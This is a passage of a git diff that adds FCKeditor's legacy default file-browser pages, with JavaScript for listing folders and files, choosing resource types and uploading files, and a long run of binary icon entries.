+function GetFoldersCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) != 0 )
+               return ;
+               
+       // Get the current folder path.
+       var oNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+       var sCurrentFolderPath = oNode.attributes.getNamedItem('path').value ;
+       
+       var oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+       
+       for ( var i = 0 ; i < oNodes.length ; i++ )
+       {
+               var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+               oListManager.AddItem( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ;
+       }
+       
+       OpenFolder( sActiveFolder ) ;
+}
+
+function SetResourceType( type )
+{
+       oConnector.ResourceType = type ;
+       LoadFolders( '/' ) ;
+}
+
+window.onload = function()
+{
+       oListManager.Init() ;
+       LoadFolders( '/' ) ;
+}
+               </script>
+       </head>
+       <body class="FileArea" bottomMargin="10" leftMargin="10" topMargin="10" rightMargin="10">
+               <table id="tableFiles" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr id="trUp" style="DISPLAY: none">
+                               <td width="16"><a id="linkUpIcon" href="#"><img alt="" src="images/FolderUp.gif" width="16" height="16" border="0"></a></td>
+                               <td nowrap width="100%">&nbsp;<a id="linkUp" href="#">..</a></td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmresourceslist.html b/fckeditor/editor/filemanager/browser/default/frmresourceslist.html
new file mode 100755 (executable)
index 0000000..430caa5
--- /dev/null
@@ -0,0 +1,164 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmresourceslist.html
+ *     This page shows all resources available in a folder in the File Browser.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <link href="browser.css" type="text/css" rel="stylesheet" />
+       <script type="text/javascript" src="js/common.js"></script>
+       <script type="text/javascript">
+
+var oListManager = new Object() ;
+
+oListManager.Clear = function()
+{
+       document.body.innerHTML = '' ;
+}
+
+oListManager.GetFolderRowHtml = function( folderName, folderPath )
+{
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+       return '<tr>' +
+                       '<td width="16">' +
+                               sLink +
+                               '<img alt="" src="images/Folder.gif" width="16" height="16" border="0"></a>' +
+                       '</td><td nowrap colspan="2">&nbsp;' +
+                               sLink + 
+                               folderName + 
+                               '</a>' +
+               '</td></tr>' ;
+}
+
+oListManager.GetFileRowHtml = function( fileName, fileUrl, fileSize )
+{
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFile(\'' + fileUrl.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+       // Get the file icon.
+       var sIcon = oIcons.GetIcon( fileName ) ;
+
+       return '<tr>' +
+                       '<td width="16">' +
+                               sLink + 
+                               '<img alt="" src="images/icons/' + sIcon + '.gif" width="16" height="16" border="0"></a>' +
+                       '</td><td>&nbsp;' +
+                               sLink + 
+                               fileName + 
+                               '</a>' +
+                       '</td><td align="right" nowrap>&nbsp;' +
+                               fileSize + 
+                               ' KB' +
+               '</td></tr>' ;
+}
+
+function OpenFolder( folderPath )
+{
+       // Load the resources list for this folder.
+       window.parent.frames['frmFolders'].LoadFolders( folderPath ) ;
+}
+
+function OpenFile( fileUrl )
+{
+       window.top.opener.SetUrl( fileUrl ) ;
+       window.top.close() ;
+       window.top.opener.focus() ;
+}
+
+function LoadResources( resourceType, folderPath )
+{
+       oListManager.Clear() ;
+       oConnector.ResourceType = resourceType ;
+       oConnector.CurrentFolder = folderPath ;
+       oConnector.SendCommand( 'GetFoldersAndFiles', null, GetFoldersAndFilesCallBack ) ;
+}
+
+function Refresh()
+{
+       LoadResources( oConnector.ResourceType, oConnector.CurrentFolder ) ;
+}
+
+function GetFoldersAndFilesCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) != 0 )
+               return ;
+
+       // Get the current folder path.
+       var oFolderNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+       if ( oFolderNode == null )
+       {
+               alert( 'The server didn\'t reply with a proper XML file\r\nCheck your configuration.' ) ;
+               return ;
+       }
+       var sCurrentFolderPath  = oFolderNode.attributes.getNamedItem('path').value ;
+       var sCurrentFolderUrl   = oFolderNode.attributes.getNamedItem('url').value ;
+
+//     var dTimer = new Date() ;
+
+       var oHtml = new StringBuilder( '<table id="tableFiles" cellspacing="1" cellpadding="0" width="100%" border="0">' ) ;
+
+       // Add the Folders.     
+       var oNodes ;
+       oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+       for ( var i = 0 ; i < oNodes.length ; i++ )
+       {
+               var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+               oHtml.Append( oListManager.GetFolderRowHtml( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ) ;
+       }
+
+       // Add the Files.       
+       oNodes = fckXml.SelectNodes( 'Connector/Files/File' ) ;
+       for ( var j = 0 ; j < oNodes.length ; j++ )
+       {
+               var oNode = oNodes[j] ;
+               var sFileName = oNode.attributes.getNamedItem('name').value ;
+               var sFileSize = oNode.attributes.getNamedItem('size').value ;
+
+               // Get the optional "url" attribute. If not available, build the url.
+               var oFileUrlAtt = oNodes[j].attributes.getNamedItem('url') ;
+               var sFileUrl = oFileUrlAtt != null ? oFileUrlAtt.value : sCurrentFolderUrl + sFileName ;
+               
+               oHtml.Append( oListManager.GetFileRowHtml( sFileName, sFileUrl, sFileSize ) ) ;
+       }
+
+       oHtml.Append( '<\/table>' ) ;
+       
+       document.body.innerHTML = oHtml.ToString() ;
+
+//     window.top.document.title = 'Finished processing in ' + ( ( ( new Date() ) - dTimer ) / 1000 ) + ' seconds' ;
+
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedResourcesList = true ;
+}
+       </script>
+</head>
+<body class="FileArea" bottommargin="10" leftmargin="10" topmargin="10" rightmargin="10">
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmresourcetype.html b/fckeditor/editor/filemanager/browser/default/frmresourcetype.html
new file mode 100755 (executable)
index 0000000..f705f4a
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmresourcetype.html
+ *     This page shows the list of available resource types.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+function SetResourceType( type )
+{
+       window.parent.frames["frmFolders"].SetResourceType( type ) ;
+}
+
+var aTypes = [
+       ['File','File'],
+       ['Image','Image'],
+       ['Flash','Flash'],
+       ['Media','Media']
+] ;
+
+window.onload = function()
+{
+       for ( var i = 0 ; i < aTypes.length ; i++ )
+       {
+               if ( oConnector.ShowAllTypes || aTypes[i][0] == oConnector.ResourceType )
+                       AddSelectOption( document.getElementById('cmbType'), aTypes[i][1], aTypes[i][0] ) ;
+       }
+}
+
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td nowrap>
+                                       Resource Type<BR>
+                                       <select id="cmbType" style="WIDTH: 100%" onchange="SetResourceType(this.value);">
+                                       </select>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmupload.html b/fckeditor/editor/filemanager/browser/default/frmupload.html
new file mode 100755 (executable)
index 0000000..21440f1
--- /dev/null
@@ -0,0 +1,117 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmupload.html
+ *     Page used to upload new files in the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet" />
+               <script type="text/javascript" src="js/common.js"></script>
+               <script type="text/javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       var sUrl = oConnector.ConnectorUrl + 'Command=FileUpload' ;
+       sUrl += '&Type=' + resourceType ;
+       sUrl += '&CurrentFolder=' + encodeURIComponent( folderPath ) ;
+       
+       document.getElementById('frmUpload').action = sUrl ;
+}
+
+function OnSubmit()
+{
+       if ( document.getElementById('NewFile').value.length == 0 )
+       {
+               alert( 'Please select a file from your computer' ) ;
+               return false ;
+       }
+
+       // Set the interface elements.
+       document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder (Upload in progress, please wait...)' ;
+       document.getElementById('btnUpload').disabled = true ;
+       
+       return true ;
+}
+
+function OnUploadCompleted( errorNumber, data )
+{
+       // Reset the Upload Worker Frame.
+       window.parent.frames['frmUploadWorker'].location = 'javascript:void(0)' ;
+       
+       // Reset the upload form (On IE we must do a little trick to avout problems).
+       if ( document.all )
+               document.getElementById('NewFile').outerHTML = '<input id="NewFile" name="NewFile" style="WIDTH: 100%" type="file">' ;
+       else
+               document.getElementById('frmUpload').reset() ;
+       
+       // Reset the interface elements.
+       document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder' ;
+       document.getElementById('btnUpload').disabled = false ;
+       
+       switch ( errorNumber )
+       {
+               case 0 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       break ;
+               case 1 :        // Custom error.
+                       alert( data ) ;
+                       break ;
+               case 201 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + data + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedUpload = true ;
+}
+               </script>
+       </head>
+       <body bottommargin="0" topmargin="0">
+               <form id="frmUpload" action="" target="frmUploadWorker" method="post" enctype="multipart/form-data" onsubmit="return OnSubmit();">
+                       <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+                               <tr>
+                                       <td nowrap="nowrap">
+                                               <span id="eUploadMessage">Upload a new file in this folder</span><br>
+                                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td width="100%"><input id="NewFile" name="NewFile" style="WIDTH: 100%" type="file"></td>
+                                                               <td nowrap="nowrap">&nbsp;<input id="btnUpload" type="submit" value="Upload"></td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </form>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif b/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif
new file mode 100755 (executable)
index 0000000..a355e5a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/Folder.gif b/fckeditor/editor/filemanager/browser/default/images/Folder.gif
new file mode 100755 (executable)
index 0000000..ab6824d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/Folder.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/Folder32.gif b/fckeditor/editor/filemanager/browser/default/images/Folder32.gif
new file mode 100755 (executable)
index 0000000..b93b752
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/Folder32.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif b/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif
new file mode 100755 (executable)
index 0000000..0c5dd41
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif b/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif
new file mode 100755 (executable)
index 0000000..3e3fcf5
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif b/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif
new file mode 100755 (executable)
index 0000000..ad5bc20
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif
new file mode 100755 (executable)
index 0000000..699e6a3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif
new file mode 100755 (executable)
index 0000000..97025bb
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif
new file mode 100755 (executable)
index 0000000..f3c7f82
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif
new file mode 100755 (executable)
index 0000000..b62bd02
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif
new file mode 100755 (executable)
index 0000000..976997b
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif
new file mode 100755 (executable)
index 0000000..9b54964
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif
new file mode 100755 (executable)
index 0000000..b557568
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif
new file mode 100755 (executable)
index 0000000..7584993
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif
new file mode 100755 (executable)
index 0000000..923079f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif
new file mode 100755 (executable)
index 0000000..df5f579
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif
new file mode 100755 (executable)
index 0000000..a9bdf00
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif
new file mode 100755 (executable)
index 0000000..a9bdf00
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif
new file mode 100755 (executable)
index 0000000..de78363
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif
new file mode 100755 (executable)
index 0000000..fe0c98e
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif
new file mode 100755 (executable)
index 0000000..d3af9e8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif
new file mode 100755 (executable)
index 0000000..7d6360f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif
new file mode 100755 (executable)
index 0000000..4950ec8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif
new file mode 100755 (executable)
index 0000000..023431c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif
new file mode 100755 (executable)
index 0000000..b9eace7
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif
new file mode 100755 (executable)
index 0000000..5df7de5
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif
new file mode 100755 (executable)
index 0000000..7807c07
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif
new file mode 100755 (executable)
index 0000000..4e2c2e3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif
new file mode 100755 (executable)
index 0000000..7624697
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif
new file mode 100755 (executable)
index 0000000..afe724a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif
new file mode 100755 (executable)
index 0000000..4fae356
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif
new file mode 100755 (executable)
index 0000000..7157f72
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif b/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif
new file mode 100755 (executable)
index 0000000..ba5a913
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif b/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif
new file mode 100755 (executable)
index 0000000..6f3bac9
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif
new file mode 100755 (executable)
index 0000000..7708dd8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif b/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif
new file mode 100755 (executable)
index 0000000..4d92723
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif b/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif
new file mode 100755 (executable)
index 0000000..6ce26a4
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif b/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif
new file mode 100755 (executable)
index 0000000..48d445a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif b/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif
new file mode 100755 (executable)
index 0000000..6535b4c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif b/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif
new file mode 100755 (executable)
index 0000000..315817f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif b/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif
new file mode 100755 (executable)
index 0000000..8f91a98
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif b/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif
new file mode 100755 (executable)
index 0000000..a5e3e6c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif b/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif
new file mode 100755 (executable)
index 0000000..0b5d6ba
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/html.gif b/fckeditor/editor/filemanager/browser/default/images/icons/html.gif
new file mode 100755 (executable)
index 0000000..0b5d6ba
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/html.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif b/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif
new file mode 100755 (executable)
index 0000000..634b386
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/js.gif b/fckeditor/editor/filemanager/browser/default/images/icons/js.gif
new file mode 100755 (executable)
index 0000000..4ea17d4
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/js.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif b/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif
new file mode 100755 (executable)
index 0000000..0d7c102
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif b/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif
new file mode 100755 (executable)
index 0000000..6f3bac9
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif
new file mode 100755 (executable)
index 0000000..ca1f94a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif
new file mode 100755 (executable)
index 0000000..877a8c8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif
new file mode 100755 (executable)
index 0000000..916cd7e
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif
new file mode 100755 (executable)
index 0000000..314469d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif
new file mode 100755 (executable)
index 0000000..314469d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif
new file mode 100755 (executable)
index 0000000..1511ba3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif b/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif
new file mode 100755 (executable)
index 0000000..9be3daa
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif b/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif
new file mode 100755 (executable)
index 0000000..f57715d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif b/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif
new file mode 100755 (executable)
index 0000000..4559928
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif b/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif
new file mode 100755 (executable)
index 0000000..b1e2492
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/spacer.gif b/fckeditor/editor/filemanager/browser/default/images/spacer.gif
new file mode 100755 (executable)
index 0000000..35d42e8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/spacer.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/js/common.js b/fckeditor/editor/filemanager/browser/default/js/common.js
new file mode 100755 (executable)
index 0000000..cca4d6f
--- /dev/null
@@ -0,0 +1,59 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
